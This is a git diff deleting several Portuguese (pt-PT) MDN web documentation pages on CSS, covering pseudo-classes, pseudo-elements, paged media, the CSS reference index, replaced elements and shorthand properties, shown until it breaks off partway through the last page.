-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o usuário está correntemente usando um dos temas do Windows (Luna, Royale, Zune ou Aero (incluindo o Vista Basic, Vista Advanced e o Aero Glass), o valor 1. Caso contrário é 0.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/css3-mediaqueries/" title="http://www.w3.org/TR/css3-mediaqueries/">CSS 3 media query specification</a> (en)</li>
- <li><a class="internal" href="/en/CSS/@media" title="En/CSS/@media">Media types</a> (en)</li>
-</ul>
diff --git a/files/pt-pt/web/css/paged_media/index.html b/files/pt-pt/web/css/paged_media/index.html
deleted file mode 100644
index 53d7d35781..0000000000
--- a/files/pt-pt/web/css/paged_media/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Média paginada
-slug: Web/CSS/Paged_Media
-tags:
- - CSS
- - CSS3
- - Quebras de Página
-translation_of: Web/CSS/Paged_Media
-original_slug: Web/CSS/Média_paginada
----
-<p>Paged media properties control the presentation of content for print or any other media that splits content into discrete pages. It allows you to set page breaks, control printable area, style left and right pages differently, and control breaks inside elements. Popularly supported properties include</p>
-
-<ul>
- <li>{{ cssxref("page-break-before") }}</li>
- <li>{{ cssxref("page-break-after") }}</li>
- <li>{{ cssxref("page-break-inside") }}</li>
- <li>{{ cssxref("orphans") }}</li>
- <li>{{ cssxref("widows") }}</li>
- <li>{{ cssxref("@page") }}</li>
-</ul>
diff --git a/files/pt-pt/web/css/pseudo-classes/index.html b/files/pt-pt/web/css/pseudo-classes/index.html
deleted file mode 100644
index e6d3d58c0f..0000000000
--- a/files/pt-pt/web/css/pseudo-classes/index.html
+++ /dev/null
@@ -1,166 +0,0 @@
----
-title: Pseudoclasses
-slug: Web/CSS/Pseudo-classes
-tags:
- - CSS
- - Pseudoclasse
- - Referencia
- - Resumo
- - Seletores
- - Sinopse
-translation_of: Web/CSS/Pseudo-classes
-original_slug: Web/CSS/Pseudoclasses
----
-<div>{{CSSRef}}</div>
-
-<p>A <a href="/pt-PT/docs/Web/CSS">CSS</a> <strong><dfn>pseudo-class</dfn></strong> is a keyword added to a selector that specifies a special state of the selected element(s). For example, {{CSSxRef(":hover")}} can be used to change a button's color when the user's pointer hovers over it.</p>
-
-<pre class="brush: css; no-line-numbers">/* Any button over which the user's pointer is hovering */
-button:hover {
- color: blue;
-}</pre>
-
-<p>Pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the navigator ({{CSSxRef(":visited")}}, for example), the status of its content (like {{CSSxRef(":checked")}} on certain form elements), or the position of the mouse (like {{CSSxRef(":hover")}}, which lets you know if the mouse is over an element or not).</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> In contrast to pseudo-classes, <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elements</a> can be used to style a <em>specific part</em> of an element.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">selector:pseudo-class {
- property: value;
-}
-</pre>
-
-<p>Like regular classes, you can chain together as many pseudo-classes as you want in a selector.</p>
-
-<h2 id="Índice_de_pseudoclasses_padrões">Índice de pseudoclasses padrões</h2>
-
-<div class="index" id="index">
-<ul>
- <li>{{CSSxRef(":active")}}</li>
- <li>{{CSSxRef(":any-link")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":checked")}}</li>
- <li>{{CSSxRef(":current")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":default")}}</li>
- <li>{{CSSxRef(":defined")}}</li>
- <li>{{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":disabled")}}</li>
- <li>{{CSSxRef(":drop")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":empty")}}</li>
- <li>{{CSSxRef(":enabled")}}</li>
- <li>{{CSSxRef(":first")}}</li>
- <li>{{CSSxRef(":first-child")}}</li>
- <li>{{CSSxRef(":first-of-type")}}</li>
- <li>{{CSSxRef(":fullscreen")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":future")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":focus")}}</li>
- <li>{{CSSxRef(":focus-visible")}}</li>
- <li>{{CSSxRef(":focus-within")}}</li>
- <li>{{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":host")}}</li>
- <li>{{CSSxRef(":host()")}}</li>
- <li>{{CSSxRef(":host-context()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":hover")}}</li>
- <li>{{CSSxRef(":indeterminate")}}</li>
- <li>{{CSSxRef(":in-range")}}</li>
- <li>{{CSSxRef(":invalid")}}</li>
- <li>{{CSSxRef(":lang", ":lang()")}}</li>
- <li>{{CSSxRef(":last-child")}}</li>
- <li>{{CSSxRef(":last-of-type")}}</li>
- <li>{{CSSxRef(":left")}}</li>
- <li>{{CSSxRef(":link")}}</li>
- <li>{{CSSxRef(":local-link")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":matches", ":matches()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":not", ":not()")}}</li>
- <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
- <li>{{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":nth-last-child", ":nth-last-child()")}}</li>
- <li>{{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}</li>
- <li>{{CSSxRef(":nth-of-type", ":nth-of-type()")}}</li>
- <li>{{CSSxRef(":only-child")}}</li>
- <li>{{CSSxRef(":only-of-type")}}</li>
- <li>{{CSSxRef(":optional")}}</li>
- <li>{{CSSxRef(":out-of-range")}}</li>
- <li>{{CSSxRef(":past")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":read-only")}}</li>
- <li>{{CSSxRef(":read-write")}}</li>
- <li>{{CSSxRef(":required")}}</li>
- <li>{{CSSxRef(":right")}}</li>
- <li>{{CSSxRef(":root")}}</li>
- <li>{{CSSxRef(":scope")}}</li>
- <li>{{CSSxRef(":target")}}</li>
- <li>{{CSSxRef(":target-within")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":user-invalid")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef(":valid")}}</li>
- <li>{{CSSxRef(":visited")}}</li>
-</ul>
-</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("Fullscreen")}}</td>
- <td>{{Spec2("Fullscreen")}}</td>
- <td>Defined <code>:fullscreen</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML WHATWG", "#pseudo-classes")}}</td>
- <td>{{Spec2("HTML WHATWG")}}</td>
- <td>Defines when particular selectors match HTML elements.</td>
- </tr>
- <tr>
- <td>{{SpecName("CSS4 Selectors")}}</td>
- <td>{{Spec2("CSS4 Selectors")}}</td>
- <td>Defined <code style="white-space: nowrap;">:any-link</code>, <code>:blank</code>, <code style="white-space: nowrap;">:local-link</code>, <code>:scope</code>, <code>:drop</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code style="white-space: nowrap;">:placeholder-shown</code>, <code style="white-space: nowrap;">:user-invalid</code>, <code style="white-space: nowrap;">:nth-col()</code>, <code style="white-space: nowrap;">:nth-last-col()</code> and <code>:matches()</code>.<br>
- No significant change for pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML5 W3C")}}</td>
- <td>{{Spec2("HTML5 W3C")}}</td>
- <td>Copies the relevant section from the canonical (WHATWG) HTML spec.</td>
- </tr>
- <tr>
- <td>{{SpecName("CSS3 Basic UI")}}</td>
- <td>{{Spec2("CSS3 Basic UI")}}</td>
- <td>Defined <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> and <code>:read-write</code>, but without the associated semantic meaning.</td>
- </tr>
- <tr>
- <td>{{SpecName("CSS3 Selectors")}}</td>
- <td>{{Spec2("CSS3 Selectors")}}</td>
- <td>Defined <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> and <code>:not()</code>.<br>
- Defined the syntax of <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, and <code>:indeterminate</code>, but without the associated semantic meaning.<br>
- No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.</td>
- </tr>
- <tr>
- <td>{{SpecName("CSS2.1")}}</td>
- <td>{{Spec2("CSS2.1")}}</td>
- <td>Defined <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, and <code>:focus</code>.<br>
- No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.</td>
- </tr>
- <tr>
- <td>{{SpecName("CSS1")}}</td>
- <td>{{Spec2("CSS1")}}</td>
- <td>Defined <code>:link</code>, <code>:visited</code> and <code>:active</code>, but without the associated semantic meaning.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/CSS/Pseudoelementos">Pseudoelementos</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/pseudo-elements/index.html b/files/pt-pt/web/css/pseudo-elements/index.html
deleted file mode 100644
index 84716924ad..0000000000
--- a/files/pt-pt/web/css/pseudo-elements/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: Pseudoelementos
-slug: Web/CSS/Pseudo-elements
-tags:
- - CSS
- - Pseudoelemento
- - Referencia
- - Resumo
- - Seletores
- - Sinopse
-translation_of: Web/CSS/Pseudo-elements
-original_slug: Web/CSS/Pseudoelementos
----
-<div>{{CSSRef}}</div>
-
-<p>Um <strong>pseudoelemento</strong> de CSS é uma palavra-chave adicionada ao seletor que lhe permite estilizar uma parte específica do(s) elemento(s) selecionado(s). Por exemplo, {{CSSxRef("::first-line")}} pode ser utilizado para alterar o tipo de letra da primeira linha de um parágrafo.</p>
-
-<pre class="brush: css no-line-numbers">/* The first line of every &lt;p&gt; element. */
-p::first-line {
- color: blue;
- text-transform: uppercase;
-}</pre>
-
-<div class="note">
-<p><strong>Nota:</strong> In contrast to pseudo-elements, {{CSSxRef("pseudo-classes")}} can be used to style an element based on its <em>state</em>.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">selector::pseudo-element {
- property: value;
-}</pre>
-
-<p>You can use only one pseudo-element in a selector. It must appear after the simple selectors in the statement.</p>
-
-<div class="note">
-<p><strong>Note:</strong> As a rule, double colons (<code>::</code>) should be used instead of a single colon (<code>:</code>). This distinguishes pseudo-classes from pseudo-elements. However, since this distinction was not present in older versions of the W3C spec, most browsers support both syntaxes for the original pseudo-elements.</p>
-</div>
-
-<h2 id="Índice_de_pseudoelementos_padrões">Índice de pseudoelementos padrões</h2>
-
-<div class="index" id="index">
-<ul>
- <li>{{CSSxRef("::after", "::after (:after)")}}</li>
- <li>{{CSSxRef("::backdrop")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef("::before", "::before (:before)")}}</li>
- <li>{{CSSxRef("::cue", "::cue (:cue)")}}</li>
- <li>{{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}</li>
- <li>{{CSSxRef("::first-line", "::first-line (:first-line)")}}</li>
- <li>{{CSSxRef("::grammar-error")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef("::marker")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef("::placeholder")}} {{Experimental_Inline}}</li>
- <li>{{CSSxRef("::selection")}}</li>
- <li>{{CSSxRef("::slotted", "::slotted()")}}</li>
- <li>{{CSSxRef("::spelling-error")}} {{Experimental_Inline}}</li>
-</ul>
-</div>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão Mais Baixa</th>
- <th>Suporta</th>
- </tr>
- <tr>
- <td rowspan="2">Internet Explorer</td>
- <td>8.0</td>
- <td><code>:pseudo-element</code></td>
- </tr>
- <tr>
- <td>9.0</td>
- <td><code>:pseudo-element ::pseudo-element</code></td>
- </tr>
- <tr>
- <td rowspan="2">Firefox (Gecko)</td>
- <td>1.0 (1.0)</td>
- <td><code>:pseudo-element</code></td>
- </tr>
- <tr>
- <td>1.0 (1.5)</td>
- <td><code>:pseudo-element ::pseudo-element</code></td>
- </tr>
- <tr>
- <td rowspan="2">Opera</td>
- <td>4.0</td>
- <td><code>:pseudo-element</code></td>
- </tr>
- <tr>
- <td>7.0</td>
- <td><code>:pseudo-element ::pseudo-element</code></td>
- </tr>
- <tr>
- <td>Safari (WebKit)</td>
- <td>1.0 (85)</td>
- <td><code>:pseudo-element ::pseudo-element</code></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Pseudo-classes" style="white-space: nowrap;">Pseudoclasses</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/reference/index.html b/files/pt-pt/web/css/reference/index.html
deleted file mode 100644
index 836097577a..0000000000
--- a/files/pt-pt/web/css/reference/index.html
+++ /dev/null
@@ -1,172 +0,0 @@
----
-title: CSS - Referência
-slug: Web/CSS/Reference
-tags:
- - CSS
- - Referencia
- - Resumo
- - Sinopse
- - l10n:priority
-translation_of: Web/CSS/Reference
-original_slug: Web/CSS/Referência_CSS
----
-<div>{{CSSRef}}</div>
-
-<p class="summary">Utilize esta <strong>referência de CSS </strong>para explorar<strong> </strong>um <a href="/pt-PT/docs/Web/CSS/Referência_CSS#Índex_de_palavra-chave">índex alfabético</a> de todas as propriedades de <a href="/pt-PT/docs/Web/CSS">CSS</a> padrão, <a href="/pt-PT/docs/Web/CSS/Pseudoclasses">pseudoclasses, </a><a href="/pt-PT/docs/Web/CSS/Pseudoelementos">pseudoelementos</a>, <a href="/pt-PT/docs/Web/CSS/CSS_Tipos">tipos de dados</a>, e <a href="/pt-PT/docs/Web/CSS/At-rule">regras "at"</a>. Também pode explorar uma lista de todos os <a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS">seletores de CSS organizados pelo tipo</a> e uma lista de <a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS$edit#Concepts">conceitos de CSS chave</a>. Também incluido nesta breve <a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS$edit#DOM-CSS_CSSOM">referência de DOM-CSS / CSSOM</a>.</p>
-
-<h2 id="Sintaxe_Básica">Sintaxe Básica</h2>
-
-<h3 id="Estilo_padrão_de_sintaxe">Estilo padrão de sintaxe</h3>
-
-<pre class="syntaxbox notranslate"><strong><var>selectorlist</var> {
- <var>property</var>: <var>value</var>;</strong>
- <var>[more property:value; pairs]</var>
-<strong>}</strong>
-
-... where <var>selectorlist</var> is: <var>selector[:pseudo-class] [::pseudo-element] [, more selectorlists]</var>
-
-See <a href="#Selectors"><em>selector</em></a>, <a href="#pcls"><em>pseudo-class</em></a>, <em><a href="#pelm">pseudo-element</a></em> lists below.
-</pre>
-
-<h4 id="Exemplos_de_regra_de_estilo">Exemplos de regra de estilo</h4>
-
-<pre class="brush: css notranslate">strong {
- color: red;
-}
-
-div.menu-bar li:hover &gt; ul {
- display: block;
-}
-</pre>
-
-<p>For a beginner-level introduction to the syntax of CSS selectors, please see <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">this tutorial</a>. Be aware that any <a href="/en-US/docs/Web/CSS/syntax">CSS syntax</a> error in a rule definition invalidates the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) <a href="https://www.w3.org/TR/css-syntax-3/#intro">text-based</a>, whereas DOM-CSS / CSSOM (the rule management system) is <a href="https://www.w3.org/TR/cssom/#introduction">object-based</a>.</p>
-
-<h3 id="Sintaxe_de_regra_At">Sintaxe de regra "At"</h3>
-
-<p>As the structure of at-rules varies widely, please see <a href="/en-US/docs/Web/CSS/At-rule">At-rule</a> to find the syntax of the specific one you want.</p>
-
-<h2 id="Índex_de_palavra-chave">Índex de palavra-chave</h2>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Os nomes das propriadades neste índex <strong>não</strong> incluem os <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Properties_Reference">nomes de JavaScript </a>onde eles diferem com nomes padrão de CSS.</p>
-</div>
-
-<div>{{CSS_Ref}}</div>
-
-<h2 id="Seletors"><a href="/en-US/docs/Web/CSS/CSS_Selectors">Seletors</a></h2>
-
-<div class="hidden">
-<div class="blockIndicator todo">
-<p><strong>TODO:</strong> Consider using the <code><a href="https://github.com/mdn/kumascript/blob/master/macros/page.ejs">\{{Page}}</a></code> macro for this section.</p>
-</div>
-</div>
-
-<h3 id="Seletores_básicos"><a href="/en-US/docs/Web/CSS/CSS_Selectors#Basic_selectors">Seletores básicos</a></h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Type_selectors">Type selector</a> <code>elementname</code></li>
- <li><a href="/en-US/docs/Web/CSS/Class_selectors">Class selector</a> <code>.classname</code></li>
- <li><a href="/en-US/docs/Web/CSS/ID_selectors">ID selector</a> <code>#idname</code></li>
- <li><a href="/en-US/docs/Web/CSS/Universal_selectors">Universal selector</a> <code>*</code>, <code>ns|*</code>, <code>*|*</code>, <code>|*</code></li>
- <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selector</a> <code>[attr=value]</code></li>
-</ul>
-
-<h3 id="Combinadores"><a href="/en-US/docs/Web/CSS/CSS_Selectors#Combinators">Combinadores</a></h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Adjacent sibling combinator</a> <code>A + B</code></li>
- <li><a href="/en-US/docs/Web/CSS/General_sibling_selectors">General sibling combinator</a> <code>A ~ B</code></li>
- <li><a href="/en-US/docs/Web/CSS/Child_selectors">Child combinator</a> <code>A &gt; B</code></li>
- <li><a href="/en-US/docs/Web/CSS/Descendant_selectors">Descendant combinator</a> <code>A B</code></li>
- <li><a href="/en-US/docs/Web/CSS/Column_combinator">Column combinator</a> <code>A || B</code> {{Experimental_Inline}}</li>
-</ul>
-
-<h3 id="Pseudoclasses"><a href="/pt-PT/docs/Web/CSS/Pseudoclasses">Pseudoclasses</a></h3>
-
-<div class="index">
-<ul>
- <li class="hidden">{{Page("/en-US/docs/Web/CSS/Pseudo-classes", "index")}}</li>
-</ul>
-</div>
-
-<h3 id="Pseudoelementos"><a href="/pt-PT/docs/Web/CSS/Pseudoelementos">Pseudoelementos</a></h3>
-
-<div class="index">
-<ul>
- <li class="hidden">{{Page("/en-US/docs/Web/CSS/Pseudo-elements", "index")}}</li>
-</ul>
-</div>
-
-<div class="blockIndicator note">
-<p><strong>Consulte também:</strong> uma <a href="https://www.w3.org/TR/selectors/#selectors">lista de seletores</a> completa na especificação de Seletores Nível 3.</p>
-</div>
-
-<h2 id="Conceitos">Conceitos</h2>
-
-<h3 id="Sintaxe_e_semântica">Sintaxe e semântica</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Syntax">CSS syntax</a></li>
- <li><a href="/en-US/docs/Web/CSS/At-rule">At-rules</a></li>
- <li><a href="/en-US/docs/Web/CSS/Cascade">Cascade</a></li>
- <li><a href="/en-US/docs/Web/CSS/Comments">Comments</a></li>
- <li><a href="/en-US/docs/Glossary/Descriptor_(CSS)">Descriptor</a></li>
- <li><a href="/en-US/docs/Web/CSS/inheritance">Inheritance</a></li>
- <li><a href="/en-US/docs/Web/CSS/Shorthand_properties">Shorthand properties</a></li>
- <li><a href="/en-US/docs/Web/CSS/Specificity">Specificity</a></li>
- <li><a href="/en-US/docs/Web/CSS/Value_definition_syntax">Value definition syntax</a></li>
-</ul>
-
-<h3 id="Valores">Valores</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/actual_value">Actual value</a></li>
- <li><a href="/en-US/docs/Web/CSS/computed_value">Computed value</a></li>
- <li><a href="/en-US/docs/Web/CSS/initial_value">Initial value</a></li>
- <li><a href="/en-US/docs/Web/CSS/resolved_value">Resolved value</a></li>
- <li><a href="/en-US/docs/Web/CSS/specified_value">Specified value</a></li>
- <li><a href="/en-US/docs/Web/CSS/used_value">Used value</a></li>
-</ul>
-
-<h3 id="Layout">Layout</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">Block formatting context</a></li>
- <li><a href="/en-US/docs/Web/CSS/box_model">Box model</a></li>
- <li><a href="/en-US/docs/Web/CSS/All_About_The_Containing_Block">Containing block</a></li>
- <li><a href="/en-US/docs/Web/CSS/Layout_mode">Layout mode</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Margin collapsing</a></li>
- <li><a href="/en-US/docs/Web/CSS/Replaced_element">Replaced elements</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">Stacking context</a></li>
- <li><a href="/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Visual formatting model</a></li>
-</ul>
-
-<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
-
-<h3 id="Major_object_types">Major object types</h3>
-
-<ul>
- <li>document.<a href="/en-US/docs/Web/API/Document/styleSheets">styleSheets</a></li>
- <li>styleSheets[i].<a href="/en-US/docs/Web/API/CSSRuleList">cssRules</a></li>
- <li>cssRules[i].<a href="/en-US/docs/Web/API/CSSRule/cssText">cssText</a> (selector &amp; style)</li>
- <li>cssRules[i].<a href="/en-US/docs/Web/API/CSSStyleRule/selectorText">selectorText</a></li>
- <li>elem.<a href="/en-US/docs/Web/API/HTMLElement/style">style</a></li>
- <li>elem.style.<a href="/en-US/docs/Web/API/CSSStyleDeclaration/cssText">cssText</a> (just style)</li>
- <li>elem.<a href="/en-US/docs/Web/API/Element/className">className</a></li>
- <li>elem.<a href="/en-US/docs/Web/API/Element/classList">classList</a></li>
-</ul>
-
-<h3 id="Métodos_importantes">Métodos importantes</h3>
-
-<ul>
- <li>{{domxref("CSSStyleSheet.insertRule")}}</li>
- <li>{{domxref("CSSStyleSheet.deleteRule")}}</li>
-</ul>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Mozilla_Extensions">Mozilla CSS extensions</a> (prefixed with <code>-moz</code>)</li>
- <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions">WebKit CSS extensions</a> (mostly prefixed with <code>-webkit</code>)</li>
- <li><a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">Microsoft CSS extensions</a> (prefixed with <code>-ms</code>)</li>
-</ul>
diff --git a/files/pt-pt/web/css/replaced_element/index.html b/files/pt-pt/web/css/replaced_element/index.html
deleted file mode 100644
index 47f2e968f9..0000000000
--- a/files/pt-pt/web/css/replaced_element/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Elemento substituído
-slug: Web/CSS/Replaced_element
-tags:
- - CSS
- - Element
-translation_of: Web/CSS/Replaced_element
----
-<div>{{CSSRef()}}</div>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>No CSS, um <strong>elemento substituído </strong>é um elemento cuja representação está fora do âmbito do CSS. <font><font>Estes são um tipo de objecto externo cuja representação é independente do CSS.</font></font> <font><font>Elementos substituídos típicos são</font></font> {{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} <font><font>ou elementos de formulário como</font></font> {{HTMLElement("textarea")}} e {{HTMLElement("input")}}<font><font>. </font><font>Alguns elementos, como </font></font>{{HTMLElement("audio")}} ou {{HTMLElement("canvas")}} <font><font>são elementos só em casos específicos substituído. </font></font> <font><font>Objetos inseridos usando as propriedades CSS</font></font> {{cssxref("content")}} <font><font>são elementos substituídos anônimos</font></font><font><font>.</font></font></p>
-
-<p><font><font>CSS manipula elementos substituídos especificamente em alguns casos, como ao calcular margens e alguns valores automáticos.</font></font></p>
-
-<p><font><font>Note-se que alguns elementos substituído,mas não todos,têm dimensões intrínsecas ou uma linha de base definida (<em>baseline</em>), que é utilizada por algumas propriedades CSS como </font></font>{{cssxref("vertical-align")}}.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{CSS_key_concepts()}}</li>
-</ul>
diff --git a/files/pt-pt/web/css/shorthand_properties/index.html b/files/pt-pt/web/css/shorthand_properties/index.html
deleted file mode 100644
index 8bfb4a4bbc..0000000000
--- a/files/pt-pt/web/css/shorthand_properties/index.html
+++ /dev/null
@@ -1,143 +0,0 @@
----
-title: Propriedades de taquigrafia
-slug: Web/CSS/Shorthand_properties
-tags:
- - CSS
- - Guía
- - Referencia
-translation_of: Web/CSS/Shorthand_properties
----
-<div>{{cssref}}</div>
-
-<p class="summary"><strong><dfn>Propriedades de taquigrafia </dfn></strong>são propriedades de CSS que lhe permitem definir simultaneamente os valores de várias outras propriedades de CSS. Ao utilizar uma propriedade de taquigrafia, pode escrever folhas de estilo mais concisas (e muitas vezes mais legíveis), poupando tempo e energia .</p>
-
-<p>The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.</p>
-
-<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">Tricky edge cases</h2>
-
-<p>Even if they are very convenient to use, there are a few edge cases to keep in mind when using them:</p>
-
-<ol>
- <li>A value which is not specified is set to its initial value. That sounds anecdotal, but it really means that it <strong>overrides</strong> previously set values. Therefore:
-
- <pre class="brush:css">background-color: red;
-background: url(images/bg.gif) no-repeat left top;
-</pre>
- will not set the color of the background to <code>red</code> but to {{cssxref("background-color")}}'s default, <code>transparent</code>, as the second rule has precedence.</li>
- <li>Only the individual properties values can inherit. As missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them. The keyword <code>inherit</code> can be applied to a property, but only as a whole, not as a keyword for one value or another. That means that the only way to make some specific value to be inherited is to use the longhand property with the keyword <code>inherit</code>.</li>
- <li>Shorthand properties try not to force a specific order for the values of the properties they replace. This works well when these properties use values of different types, as the order has no importance, but this does not work as easily when several properties can have identical values. Handling of these cases are grouped in several categories:
- <ol>
- <li>Shorthands handling properties related to edges of a box, like {{cssxref("border-style")}}, {{cssxref("margin")}} or {{cssxref("padding")}}, always use a consistent 1-to-4-value syntax representing those edges:
- <table>
- <tbody>
- <tr>
- <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
- <td><em>The 1-value syntax</em>: <code>border-width: 1em</code> — The unique value represents all edges</td>
- </tr>
- <tr>
- <td><img alt="border2.png" src="/files/3647/border2.png"></td>
- <td><em>The 2-value syntax</em>: <code>border-width: 1em 2em</code> — The first value represents the vertical, that is top and bottom, edges, the second the horizontal ones, that is the left and right ones.</td>
- </tr>
- <tr>
- <td><img alt="border3.png" src="/files/3648/border3.png"></td>
- <td><em>The 3-value syntax</em>: <code>border-width: 1em 2em 3em</code> — The first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge</td>
- </tr>
- <tr>
- <td><img alt="border4.png" src="/files/3649/border4.png"></td>
- <td>
- <p><em>The 4-value syntax</em>: <code>border-width: 1em 2em 3em 4em</code> — The four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (The initial letter of Top-Right-Bottom-Left matches the order of the consonant of the word <em>trouble</em>: TRBL)</p>
- </td>
- </tr>
- </tbody>
- </table>
- </li>
- <li>Similarly, shorthands handling properties related to corners of a box, like {{cssxref("border-radius")}}, always use a consistent 1-to-4-value syntax representing those corners:
- <table>
- <tbody>
- <tr>
- <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
- <td><em>The 1-value syntax</em>: <code>border-radius: 1em</code> — The unique value represents all corners</td>
- </tr>
- <tr>
- <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
- <td><em>The 2-value syntax</em>: <code>border-radius: 1em 2em</code> — The first value represents the top left and bottom right corner, the second the top right and bottom left ones.</td>
- </tr>
- <tr>
- <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
- <td><em>The 3-value syntax</em>: <code>border-radius: 1em 2em 3em</code> — The first value represents the top left corner, the second the top right and bottom left ones, and the third value the bottom right corner</td>
- </tr>
- <tr>
- <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
- <td>
- <p><em>The 4-value syntax</em>: <code>border-radius: 1em 2em 3em 4em</code> — The four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left.</p>
- </td>
- </tr>
- </tbody>
- </table>
- </li>
- </ol>
- </li>
-</ol>
-
-<h2 id="Background_Properties" name="Background_Properties">Propriedades de segundo plano</h2>
